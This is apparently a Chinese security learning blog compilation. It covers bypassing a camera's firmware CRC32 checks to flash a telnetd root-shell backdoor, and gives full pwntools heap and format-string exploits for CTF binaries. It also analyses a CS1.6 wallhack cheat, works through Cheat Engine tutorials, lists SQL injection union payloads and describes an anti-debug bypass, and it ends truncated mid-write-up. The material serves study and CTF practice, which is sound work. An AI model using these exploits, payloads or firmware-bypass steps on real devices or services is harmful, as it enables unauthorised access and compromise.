绕过某摄像头校验机制软刷固件

缘起: 因需求需要获取某种arm智能设备(路由器除外)的shell权限,选择了某摄像头。
缘灭: 在硬刷和软刷之间最终还是通过软刷绕过升级校验机制实现重刷固件。

第一步

nmap扫描走起(部分摄像头关闭了ping,需要-sS -sT命令),没有telnet和ssh,开启了80端口,登陆web界面,发现可以通过web界面更新固件。

第二步

从官网下载相应版本的固件,binwalk解包,简单分析一波固件内容,grep -rn和find命令走起,发现固件包中是有telnet和telnetd命令的,且所在目录添加进了path环境变量中,qemu跑busybox发现其拥有telnet和telnetd功能。

第三步

选择获取shell的方式:1.pwn it 2.重打包刷固件

一波三折

肯定是选择重打包刷固件啦,怎么会pwn呢?pwn是不可能pwn的,233。由于固件自带telnetd功能,我们只需要在自启动的脚本中选择其一,添加一条

1
telnetd -p 23 -l /bin/sh

命令,然后重打包固件,往摄像头里面刷即可。

一次尝试

利用firmware-mod-kit第三方打包工具重打包修改后的固件,80端口上升级固件,失败!摄像头虽然提示升级成功,但是并没有完成固件的更新。软刷不行就硬刷,芯片夹,编程器,RT809F软件走起,费了九牛二虎之力,从flash芯片中读取了固件,发现果然没有刷上。

二次尝试

猜测是不是重打包的问题,Seebug上找到一篇文章,见文末,学习了一波。于是手动重打包固件,通过编程器硬刷修改后的固件,emmmm,摄像头就成砖了。于是刷回原固件,中间省略一顿折腾……

三次尝试

重打包暂时放弃,寻找命令执行的漏洞,反正固件都拿到了,httpd文件和luac(5.1版本)进行交互,luadec反编译5.1版本,没找到命令执行的API,选择放弃。

山重水复疑无路,柳暗花明又一村

通过比较编程器提取的固件以及网上下载的固件的二进制,反复思考手动重打包的过程,发现了可疑的0x100字节

important_100bytes

并且比对binwalk结果进行猜测和分析。

binwalk_result

看到一篇破解智能手环的文章,学习了一波,可以通过绕过crc32校验的方式软刷固件,在0x100字节中猜测crc32的存储位置以及crc32计算范围,通过写脚本计算crc32的值,知道了uboot和kernel的crc32值存储位置。

important_100bytes_guess

这里比较遗憾,忽略了header的crc32校验,仅修改了uboot和kernel的校验值进行软刷和硬刷均以失败告终。最终通过逆向固件的方式找到了校验crc32算法的位置,过程如下:

camera1

首先校验开头的16字节是否为0x99999999,0x44444444,0x55555555,0xAAAAAAAA,17-20字节没有校验,但这4个字节会作为lseek函数参数中offset的一部分。

camera2

其次计算0x14-0xb8的CRC32值,和0xb8处的4字节进行比较,也就是header的crc32算法校验,接下来进行uboot的CRC32计算,与0x50处的4字节比较。

camera3

最后计算文件系统Squashfs system的CRC32值,和0x5C处的4字节比较,至此,更新固件的校验算法结束。我们通过脚本计算得到的值将重打包的固件进行修改,绕过固件升级时的校验机制,成功软刷固件,开启了telnet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import binascii

def getCRC32(v):
return '0x%8x' % (binascii.crc32(v) & 0xffffffff)

fp = open("T520_v214t1_firmware.bin",'rb')
content = fp.read()

# CRC32 of Squashfs filesystem
tmp1 = content[0x280000:]
print hex(len(tmp1))
print "CRC32 of Squashfs filesystem:",getCRC32(tmp1)
# CRC32 of Squashfs filesystem

# CRC32 of boot
tmp2 = content[0x100:0x280000]
print "CRC32 of boot to Squashfs filesystem:",getCRC32(tmp2)
# CRC32 of boot

#CRC32 of header

tmp3 = content[0x14:0xb8]
print "CRC32 of header:",getCRC32(tmp3)
#print 0xffffffff^getCRC32(tmp3)
#CRC32 of header

telnetd

参考资料

Seebug-摄像头漏洞挖掘入门教程(固件篇)
破解智能手环

pwn-unlink

没有什么比看源码更能清楚程序执行逻辑的了!

unlink能够实现任意修改指针的值,然后对地址内的数据进行修改。unlink在free函数调用时发生,在glibc源码_libc_free以及_int_free两个函数就是free函数调用时执行的代码,选择部分关键源代码解释unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}

if (nextchunk != av->top) {
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);

通过源代码,后向合并是向低地址合并,首先是size+=presize,接着p指针移到后一个chunk,进行unlink。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size"); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr ("corrupted double-linked list"); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr ("corrupted double-linked list (not small)"); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

unlink如果要执行FD->bk = BK;BK->fd = FD;那么要通过两个校验,一个是当前chunk与前向chunk的prev_size要相等,另一个即是FD->bk != P || BK->fd != P的校验,那么构造方法即是:

  1. malloc(size)大小的chunk,内容随意,
  2. malloc(size)大小的chunk,内容随意
  3. 对第一个chunk写入fake_presize,fake_size,fake_fd,fake_bk,以及填充第一个chunk的数据,溢出覆盖第二个chunk的presize和size,构造presize == chunksize(P),同时第二个chunk的size最低位置0
  4. free第二个chunk

最终实现改写*(fake_bk+8(16)) = fake_fd,接下来就是任意写指针,最后任意写地址处数据。

下面是测试Unlink作用的一个小程序,只需unlink即可获取shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
//unlink_test.c

#include<stdio.h>
#include<unistd.h>
#include<string.h>
#include<malloc.h>


char *buf[10];

void Menu()
{
write(1,"Wellcome To the Heap World\n",0x1B);
write(1,"1. Create\n",0xA);
write(1,"2. Delete\n",0xA);
write(1,"3. Update\n",0xA);
write(1,"4. Exit\n",0x8);
write(1,"Your choice :",0xD);
}

int input()
{
char buf[8];
read(0,&buf,8);
int result = atoi(&buf);
return result;
}

void Create()
{
int nbytes,i=0;
write(1,"Size: ",6);
nbytes = input();
char *p = (char *)malloc(nbytes);
if(p)
{
while(buf[i] && i <= 9) i++;
if (i == 10)
{
write(1,"List is Full!\n",0xE);
free(p);
}
else
{
write(1,"Data: ",0x6);
read(0,p,nbytes);
buf[i] = p;

}
}
}

void Delete()
{
write(1,"Index: ",0x7);
int idx = input();
if((unsigned int)idx <= 9)
{
free(buf[idx]);
}
}

void Update()
{
write(1,"Index: ",0x7);
int idx = input();
if ((unsigned int)idx <= 9)
{
if(buf[idx])
{
write(1,"Size: ",0x6);
int nbytes = input();
write(1,"Data: ",0x6);
read(0,buf[idx],nbytes); //overflow
}
}
}

void getshell()
{
system("/bin/sh");
}

int main()
{
int choice;
while(1)
{
Menu();
choice = input();
switch(choice)
{
case 1:
Create();
break;
case 2:
Delete();
break;
case 3:
Update();
break;
case 4:
exit(1);
default:
write(1,"Wrong choice\n",0xD);
}
}

return 0;
}

gcc unlink_test.c -o unlink_test

生成的程序默认开启NX,Canary以及Partial RELRO,能够通过写got表,实现getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

def Update(idx,size,payload):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(payload)

def Delete(idx):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))

def Create(size,payload):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Data: ")
p.send(payload)

def exitProcess():
p.recvuntil("Your choice :")
p.sendline("4")

p = process("./unlink_test")
#gdb.attach(p)
Create(0x80,"A"*16)
Create(0x80,"B"*16)
payload1 = p64(0) + p64(0x81) + p64(0x6010A0-0x18) + p64(0x6010A0-0x10) + "A"*0x60 + p64(0x80) + p64(0x90)
Update(0,len(payload1),payload1)
Delete(1)

payload2 = p64(0)*3 + p64(0x601058)
Update(0,len(payload2),payload2)
payload3 = p64(0x4009D4)
Update(0,len(payload3),payload3)

exitProcess()

p.interactive()

pwn-house of spirit

fastbin-attack之house of spirit

fastbin attack的攻击方式:

  1. 直接free某个地址,可以是bss,heap,stack等,但需要伪造已经分配堆内存时的内存布局即可,即house of spirit(与其相连的nextchunk->size同样需要伪造)。
  2. 先malloc一个满足fastbin大小的chunk,free掉,修改掉其fd前向指针,指向我们想要分配的任意地址(同样需要伪造所在fastbin链中的chunk内存分布),两次malloc之后,第二个chunk即指向任意地址。

2014 hack.lu oreo

利用思路:添加枪支的函数中存在heap overflow,申请的chunk大小属于fastbin范围,可以利用show_rifle函数泄露got表地址,也可以使用show_stats函数泄露got表地址,house of spirit技术对应free的地址为0x0804A2A8,从而可以写got表,最后getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

p = process('./oreo')
#gdb.attach(p)
libc = ELF('./libc.so.6')
strlen_offset = libc.symbols['strlen']
system_offset = libc.symbols['system']

def add_rifle(rifle_name,rifle_description):
#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(rifle_name)
#p.recvuntil("Rifle description: ")
p.sendline(rifle_description)

def show_rifle():
p.recvuntil("Action: ")
p.sendline("2")


def free_rifle():
#p.recvuntil("Action: ")
p.sendline("3")

def leave_message(message):
#p.recvuntil("Action: ")
p.sendline("4")
#p.recvuntil("Enter any notice you'd like to submit with your order: ")
p.sendline(message)

def show_stats():
p.recvuntil("Action: ")
p.sendline("5")

for i in range(0x40):
add_rifle(str(i+1),str(i+1))


house_of_spirit = 27 * 'A' + p32(0x0804A2A8)

#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(house_of_spirit)
#p.recvuntil("Rifle description: ")
p.sendline(25 * 'A')

message = 28 * 'B' + p32(0) + p32(0) + p32(0x41)
leave_message(message)

free_rifle()

#p.recvuntil("Action: ")
p.sendline("1")
#p.recvuntil("Rifle name: ")
p.sendline(str(0x1))
#p.recvuntil("Rifle description: ")
p.sendline(p32(0x0804A250))

# leak got of strlen
#p.recvuntil("Action: ")
p.sendline("5")
p.recvuntil("Order Message: ")
strlen_addr = u32(p.recvuntil('\n',drop=True)[:4])
print "strlen_addr:",hex(strlen_addr)
libc_base_addr = strlen_addr - 0x7E440
system_addr = libc_base_addr + system_offset

print "libc_base_addr:",hex(libc_base_addr)
print "system_addr:",hex(system_addr)

message = p32(system_addr) + ";/bin/sh\x00"
leave_message(message)

#p.recvuntil("Action: ")
#p.sendline("1")
#p.recvuntil("Rifle name: ")
#p.sendline('A')
#p.recvuntil("Rifle description: ")
#p.sendline("/bin/sh")

# get shell
#free_rifle()

p.interactive()

利用方法是直接house of spirit,写strlen的got表地址,直接泄露其地址,然后覆盖,最后调用strlen函数获得shell。
程序泄露的strlen函数地址指向了libc中偏移为0x7E440的一个函数,而不是libc.symbols[‘strlen’]获得的偏移,好诡异。
一开始打算使用free函数来获得shell,但是由于输入fgets的限制,如果覆盖free的got表,就会影响到fgets函数的最低位,从而无法申请新的chunk,所以选择覆盖strlen的got表。

pwn-extend

HITCON Trainging lab13

extend技术主要是能够修改size标志位,构造好我们伪造好size标志位的chunk,当再次malloc之时,chunk就能够扩大范围,如果在修改后的chunk范围内,能修改某个指针,且该指针可以利用来泄露或者修改指定地址内容,即可利用。

HITCON Trainging lab13即是利用了heap-extend技术实现利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

p = process('./heapcreator')
elf = ELF('./heapcreator')
libc = ELF('./libc-2.23.so')
gdb.attach(p)

def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.send(content)


def edit(idx, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.send(content)


def show(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))


def delete(idx):
p.recvuntil(":")
p.sendline("4")
p.recvuntil(":")
p.sendline(str(idx))


free_got = 0x602018
create(0x18, 'A'*4) # 0
create(0x10, 'B'*4) # 1

edit(0, "/bin/sh\x00" + p64(0) * 2 + "\x41")

delete(1)


create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free'])) #1
# leak freeaddr
show(1)
p.recvuntil("Content : ")
data = p.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
libc_base = free_addr - libc.symbols['free']
log.success('libc base addr: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

edit(1, p64(system_addr))

# get shell
delete(0)
p.interactive()

CS1.6-opengl简单透视分析

好奇,想看一下老游戏CS1.6是怎么做透视的(虽然已经过时),下载了个CS1.6游戏以及一个透视作弊器,透视作弊器名为CS2008.exe,以及一个动态链接库fxin.dll。

分析CS2008.exe

CS1.6-1

Hook了glBegin函数,如果追求速度的话,可以直接运行作弊器,然后attach上程序,glBegin函数下断,即可找到关键代码,这里我想先静态分析一下程序流程,看一看HookApiA里面具体是怎么操作的。

打开fxin.dll

CS1.6-2

关键的函数之一sub_600027A0实现堆上一些关键数据的排列,程序申请了一个堆,把CS2008.exe中的final_execute函数(实现透视函数)放在了堆末,从偏移554以后开始。从堆的42-554之间放的是动态链接库sub_600027A0处的函数,实现的是真正跳转到final_execute函数的代码,以及unhook等操作。堆的1-42字节存储一些关键数据,比如glBegin地址处原5字节等。

在sub_60004120函数中遍历进程,寻找目标,然后使用sub_60002B60的函数实现修改glBegin开头的5个字节。

当程序调用glBegin函数时,会跳转到sub_600027A0函数,执行final_execute函数。使用od看一看程序的流程是否如此。下断glBegin:

CS1.6-3

ctrl+f9返回调用glBegin的地方,应当是unhook以后,正常执行glBegin的位置,也就是sub_600027A0函数。

CS1.6-4

在final_execute函数中,实现透视功能靠的是glDisable函数

CS1.6-5

功能分析完以后,去网上查了查opengl透视,果然很早的时候就有文章分析了,CS1.6作为一款”过去式”的FPS游戏,是我接触的第一款FPS游戏,它的作弊方式在如今的FPS游戏中早已过时,不过,依然是我童年时候的美好回忆啊!

Cheat-Engine

Cheat Engine

Cheat Engine能获取当前进程内存中的数据信息,并且定位其位置,在数据查找以及修改方面有很大的作用,可以在某些情况下辅助分析二进制程序,定位关键位置。从其配套的9个教程中来学习CE的简单应用吧。

step 1

直接修改内存地址处的值,将其修改为1000。第一次搜索Health=100,Hit me以后再次搜索,程序会反复从前一次搜索的地址中进行再次搜索,直至过滤出Health的地址(其实只要我们能确定其地址就好)

step1

step 2

由于生命值是以血条的方式存在,所以扫描时的Scan Type选择Unknown initial value,在扫描过程中的Scan Type选择Decrease value,多次查找,确定位置,然后修改为5000。

step2

step 3

Float和double类型的值修改,方法同step 1只是,value Type修改为Float类型以及double类型,最后均修改为5000,过关。

step3

step 4

题目目的是要我们找到造成damage的代码,然后nop掉。第一步同step1,找到数据地址,然后下硬件断点,确定其位置以后,nop掉原代码即可过关。

step4

再次Change value

step5

step 5

这一关就是让我们认识一个一级指针。

step6

New Scan,搜索十六进制017D37D0,手动添加一个指针,Add Address Manually,将601630位置处的指针冻结,勾选方框,然后Change Pointer过关。

step7

step 6

代码注入,将Health减1改为加2。同样的方法找到位置,Show disassembler以后,选择Tools->auto assemble->Template->Code Injection,修改代码即可:

step8

修改以后,从汇编我们可以看到,程序是新申请了一块内存,然后将原代码位置处修改为了jmp到新内存,新的指令都在新内存上执行,执行完毕又回到原来的位置。

step9

step 7

寻找多级指针,找到数据位置,然后不断向前回溯查找,手动添加指针,冻结,修改值至5000,通关。

step10

step 8

该关有两个队伍,需要我们点击Restart game and autoplay以后自动消灭Player3和Player4,查看对这四个玩家造成伤害的代码是一样的,那么我们怎么修改呢?不同玩家自身结构体的属性是不一样的,通过Health(Float),可以找到玩家的对象,比较4个对象间的不同,通过不同进行code Injection,达到自身无敌。[ebx+4]的位置是血量。通过compare structure,我们可以看到四个结构体的名字是不同的,id也是不同的,选择id进行code injection,id位于[ebx+10]

step11

点击Restart game and autoplay过关。

QCTF-xman

周末试着尝试了一下QCTF-xman选拔赛的web题目和pwn题,萌新记录一下学习到的东西,毕竟还没入门的我是真的菜!

web

NewsCenter

emmmmm,第一次做web题目,用AWVS扫了一下,发现有sql注入漏洞,网页上仅有Search一个注入点,于是乎,开始学习如何进行sql注入。出现漏洞的网页是.php,后台服务器是appache,是个MySql的数据库。上网搜索到了如何查MySql数据库的库名,表名,字段名,由于第一次做web,还是需要记录一下操作过程的,网页没有过滤任何字符:

1
2
3
4
5
6
7
' union SELECT 1,2,schema_name FROM information_schema.SCHEMATA

' union SELECT 1,table_schema,table_name FROM information_schema.tables where table_schema="news" #

' union SELECT table_name,column_name,data_type FROM information_schema.columns where table_name="secret_table" #

' union SELECT 1,id,fl4g FROM news.secret_table #

即可得到flag:QCTF{sq1_inJec7ion_ezzzzzz}

pwn

notebook

第一次做格式化字符串漏洞,可以说还是踩了不少坑。
程序流程:

  1. sprintf输入到另外一个buffer中,对长度进行了校验。
  2. printf(buffer)

对于1中,需要知道两个”%%”在sprintf以后会成为一个”%”,对于%%n$hhn在sprintf以后就能恢复为%n$hhn,减少的%个数,可以通过在构造的输入末尾加上相应长度的字符串绕过长度校验,比如在最后加上%nc。

对于2中,需要知道格式化字符串漏洞的基本原理以及利用方式,主要有以下几点是格式化字符串中常用的方法和点:

  1. %n,%hn,%hhn 改写4字节,2字节,1字节
  2. %n$ 选中printf类函数的第n+1个参数
  3. 通常以下构造格式较为通用:[打印字符数量]+[改写位置]+address
  4. 确定改写首位置:找到调用printf类函数时,改写首位置n = 当前栈顶与buffer之间的距离/4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

# 更正思路,修改strlen函数got表->system,输入/bin/sh,直接调用
# 0x0804A038 -> 080485C0
# payload1 = p32(0x0804A03A)+"%%14$hhn%%4c%%20$hhn"+p32(0x0804A03B)+"22%%119c%%25$hhn"+p32(0x0804A039)+"%%55c%%30$hhn222"+p32(0x0804A038)+"%11c"
# payload2 = "2222"+"%%17$hhn"+p32(0x0804A03A)+"%%20$hhn"+p32(0x0804A03B)+"%%119c"+"22"+"%%25$hhn"+p32(0x0804A039)+"222"+"%%52c"+"%%30$hhn"+p32(0x0804A038)+"%10c"
# QCTF{f0rmat_s7r1ng_is_happy_}

def pwnIt():
p = process("./notebook")
# gdb.attach(p)
p.recvuntil("May I have your name?\n")
payload = p32(0x0804A03A)+"%%14$hhn%%4c%%20$hhn"+p32(0x0804A03B)+"22%%119c%%25$hhn"+p32(0x0804A039)+"%%55c%%30$hhn222"+p32(0x0804A038)+"%11c" p.sendline(payload)
p.recvuntil("on the notebook?\n")
p.sendline("/bin/sh\x00")
p.interactive()


if __name__=="__main__":
pwnIt()

WCTF2018

第一次近距离感受到了巨佬们的气场,产生了对大师赛巨佬们的敬佩之情,体会到了菜鸡和鹏鸟之间的差距,除了膜,似乎已经没有其他能描述我对巨佬们的敬佩。WCTF的赛题质量之高,设计思路巧妙,可以说每一道题目都能get到实实在在的东西,相当的有意思。本场比赛仅做出truth一题,简单记录一下学习笔记。

truth

.net的程序逆向,静态分析三次矩阵求逆即可得到flag,然而Is it real flag?真的会这么简单么?

正确的思路:

  1. resources中修改了func2中的代码,但是诸如dnspy之类调试工具无法调试代码。
  2. windbg调试.net程序,见微软官方的如何使用windbg调试托管代码 Debugging Managed Code
  3. 成功载入SOS debugging extension和mscordacwks.dll,去调试托管代码,!bmpd下断点,使用方法见!sos.help。

以下操作均在windbg已经能够正确载入符号的前提下进行。

1
2
3
4
5
6
7
sxe ld:clr 
g
.reload /f
.cordll -ve -u -l
!lmv -mclr
!sos.help
!bpmd WCTF2018Rev_Release.exe WCTF2018Rev.Properties.Resources..cctor #执行时需要先让程序跑起来,g一下

成功下断点运行以后,都是以前windbg调试的方法了,撸汇编就行了,程序进行了两次代码的自解密,然后写逆算法,求到flag。

setUnhandleExceptionFilter-exploration

​ 自己用过很多次setUnhandleExceptionFilter出过题目了,题目的思路通常都是突然来一个异常,使得程序最终跳转到setUnhandleExceptionFilter的自定义异常函数中。当然,在调试状态下,如果在自定义异常函数中下断是没法直接到达的,原始是存在系统反调试。

​ 对于怎么绕过,自己一直都没有亲自去调试,只依稀有个印象-程序存在系统反调试。

​ 下面我们就来探究一下怎么绕过系统反调试,到达setUnhandleExceptionFilter的自定义异常函数。实验代码如下,实验工具x64dbg,如果没有某个库的符号,需要进行下载,便于动态调试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
LONG _stdcall MyUnhandledExceptionFilter(_EXCEPTION_POINTERS *pExceptionInfo)
{
MessageBox(NULL, L"UnhandleExceptionFileter",L"exception", MB_OK);
ExitProcess(0);
}

int main()
{
printf("Hello World!\n");
int a = 0, b = 100, c;
SetUnhandledExceptionFilter(MyUnhandledExceptionFilter);
c = a + b;
c /= a;
return 0;
}

​ 在将要产生异常的地方下断,便于我们调试。

exception1

​ 同时将seh链的所有异常处理函数下断,我们已经只有在执行了seh链异常处理函数以后才会执行setUnhandledExceptionFilter注册的函数。

exception2

​ 异常处理函数从上到下执行,顺序依次是0x00FB6140->0x00FB3D70->0x77CF9FD0。

​ 发生异常以后,我们来到第一处seh异常处理函数0x00FB6140。

exception3

​ 实现Jmp以后,我们继续F8执行,来到如下图的位置:

exception4

​ 程序首先执行RtlIsValidHandler判断我们的下一出seh是否合法,然后调用RtlExecuteHandlerForException跳转到我们下一出seh函数地址,其中的第5个参数就是我们的下一处异常处理函数地址0x00FB3D70。我们接着进入RtlExecuteHandlerForException,看看他是怎么实现跳转的。

exception5

​ 继续执行。

exception6

​ 通过mov ecx,dword ptr ss:[ebp+18]将第五个参数即我们下一处seh函数地址给了ecx,然后调用。

​ 我们来到第二处异常函数地址0x00FB3D70处,第二处进入第三处的调用过程基本一致。

exception7

​ 我们单步到达上一次到达的RtlIsValidHandler处:

exception8

​ 同理到达第三处,进入except_handler4_common:

exception9

​ 进入CallFilterFunc函数:

exception10

​ 进入第一个call ecx:

exception11

exception12

​ 在上图中,将RtlpUnhandleExceptionFilter带入函数RtlDecodePointer中解析,得到了UnhandlerExceptionFilter的函数地址,最后赋值给了esi,然后调用。

​ 在UnhandlerExceptionFilter函数中,我们通过单步过掉不重要的函数以后,发现了一个可疑函数BasepIsDebugPortPresent,进入,找到了关键的反调试点,如下图:

exception13

​ 如果处于调试中,esi的值会自加1,然后赋值给eax,返回。我们只需要将返回值改为0即可。

​ emmmm,然后我们就能顺利到达最后我们自己创建的那个异常处理函数了。

exception14

exception15

​ 如上图,以后遇到类似的反调试,只需要在NtQueryInformationProcess函数下断就好了。如果写插件绕过,我们可以通过hook BasepIsDebugPortPresent(kernelbase.dll)函数,让其直接返回0即可。

HITBCTF2018-reverse-hex

reverse

hex

下载hex文件,file一下,发现是文本文件,打开看了一下,暂时看不懂,binwalk一下,显示Intel hex file,google Intel hex 文件,根据hex维基百科,明白了文本文件的内容。之后各种google,发现了hex2bin这个windows hex转bin的工具。strings一下bin文件,发现关键内容arduino micro。

然后又是一顿google,确定了arduino micro板子使用的是atmega32u4,编译器是arduino avr,于是乎,加载进ida,由于ida没有atmega32u4,我选择的是atmega32_L,阅读atmega32 datasheet指令集开始看代码。各种call表示看不懂啊,特别是关键的setup()和Loop函数。

后来又是一顿google,找到了badusb,了解了原来这是badusb,尝试着使用Arduino IDE自己编译文件来和题目二进制文件进行对比。理解了关键的函数Keyboard_Press,Keyboard_release和delay。于是乎,我们的目的只要搞懂这个badusb插上电脑以后,做了什么,大概就能得到flag了吧。

附上部分关键处的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
ROM:09F0 ldi     r22, 0x20 ; ' '
ROM:09F1 ldi r24, 0x77 ; 'w'
ROM:09F2 ldi r25, 1
ROM:09F3 call Keyboard_press
ROM:09F5 ldi r22, 0xF4
ROM:09F6 ldi r23, 1
ROM:09F7 ldi r24, 0
ROM:09F8 ldi r25, 0
ROM:09F9 call delay
ROM:09FB ldi r22, 0x20 ; ' '
ROM:09FC ldi r24, 0x77 ; 'w'
ROM:09FD ldi r25, 1
ROM:09FE call Keyboard_release
ROM:0A00 ldi r22, 0x88
ROM:0A01 ldi r23, 0x13
ROM:0A02 ldi r24, 0
ROM:0A03 ldi r25, 0
ROM:0A04 call delay
ROM:0A06 ldi r22, 0x20 ; ' '
ROM:0A07 ldi r24, 0x77 ; 'w'
ROM:0A08 ldi r25, 1
ROM:0A09 call Keyboard_press
ROM:0A0B ldi r22, 0xF4
ROM:0A0C ldi r23, 1
ROM:0A0D ldi r24, 0
ROM:0A0E ldi r25, 0
ROM:0A0F call delay
ROM:0A11 ldi r22, 0x20 ; ' '
ROM:0A12 ldi r24, 0x77 ; 'w'
ROM:0A13 ldi r25, 1
ROM:0A14 call Keyboard_release
ROM:0A16 ldi r22, 0x88
ROM:0A17 ldi r23, 0x13
ROM:0A18 ldi r24, 0
ROM:0A19 ldi r25, 0
ROM:0A1A call delay
ROM:0A1C ldi r22, 0x24 ; '$'
ROM:0A1D ldi r24, 0x77 ; 'w'
ROM:0A1E ldi r25, 1
ROM:0A1F call Keyboard_press
ROM:0A21 ldi r22, 0xF4
ROM:0A22 ldi r23, 1
ROM:0A23 ldi r24, 0
ROM:0A24 ldi r25, 0
ROM:0A25 call delay
ROM:0A27 ldi r22, 0x24 ; '$'
ROM:0A28 ldi r24, 0x77 ; 'w'
ROM:0A29 ldi r25, 1
ROM:0A2A call Keyboard_release
ROM:0A2C ldi r22, 0x88
ROM:0A2D ldi r23, 0x13
ROM:0A2E ldi r24, 0
ROM:0A2F ldi r25, 0
ROM:0A30 call delay
ROM:0A32 ldi r22, 0x23 ; '#'
ROM:0A33 ldi r24, 0x77 ; 'w'
ROM:0A34 ldi r25, 1
ROM:0A35 call Keyboard_press
ROM:0A37 ldi r22, 0xF4
ROM:0A38 ldi r23, 1
ROM:0A39 ldi r24, 0
ROM:0A3A ldi r25, 0
ROM:0A3B call delay
ROM:0A3D ldi r22, 0x23 ; '#'
ROM:0A3E ldi r24, 0x77 ; 'w'
ROM:0A3F ldi r25, 1
ROM:0A40 call Keyboard_release
ROM:0A42 ldi r22, 0x88
ROM:0A43 ldi r23, 0x13
ROM:0A44 ldi r24, 0
ROM:0A45 ldi r25, 0
ROM:0A46 call delay
ROM:0A48 ldi r22, 0x23 ; '#'
ROM:0A49 ldi r24, 0x77 ; 'w'
ROM:0A4A ldi r25, 1
ROM:0A4B call Keyboard_press
ROM:0A4D ldi r22, 0xF4
ROM:0A4E ldi r23, 1
ROM:0A4F ldi r24, 0
ROM:0A50 ldi r25, 0
ROM:0A51 call delay
ROM:0A53 ldi r22, 0x23 ; '#'
ROM:0A54 ldi r24, 0x77 ; 'w'
ROM:0A55 ldi r25, 1
ROM:0A56 call Keyboard_rel

直接获取所有的操作太累了,我选择idapython获取所有打印的字符,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
